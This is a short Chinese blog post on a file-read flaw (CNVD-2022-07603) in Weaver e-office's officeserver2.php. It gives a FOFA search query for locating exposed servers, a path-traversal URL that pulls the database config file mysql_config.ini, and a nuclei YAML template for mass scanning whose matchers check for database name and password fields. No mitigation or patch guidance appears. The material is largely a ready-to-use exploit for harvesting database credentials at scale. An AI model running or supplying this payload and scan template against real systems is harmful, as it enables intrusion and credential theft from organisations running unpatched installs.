泛微E-Office协同管理系统存在任意文件读取漏洞CNVD-2022-07603

发布时间 2023-10-19 22:46:31作者: 学安全的小白

漏洞描述

泛微e-office是一款由泛微网络科技股份有限公司开发的办公自动化(Office Automation,简称OA)系统。它是一种基于Web的协同办公平台,可以帮助企业实现电子化、自动化、智能化的办公环境。
泛微e-office officeserver2.php文件存在任意文件读取漏洞,攻击者可利用该漏洞读取服务器任意文件,获取服务器敏感信息。

影响版本

<= e-office 10.x

漏洞复现

fofa语法:app="泛微-EOffice"
登录页面如下:

POC:/iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini

nuclei批量yaml文件

id: weaver_office_officeserver2_fileread
info:
  name: 泛微E-Office协同管理系统存在任意文件读取漏洞CNVD-2022-07603
  author: mhb17
  severity: high
  description: description
  reference:
    - https://
  tags: fileread
requests:
  - raw:
      - |+
        GET /iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'dataname = '
      - type: word
        part: body
        words:
          - datapassword =
      - type: word
        part: header
        words:
          - '200'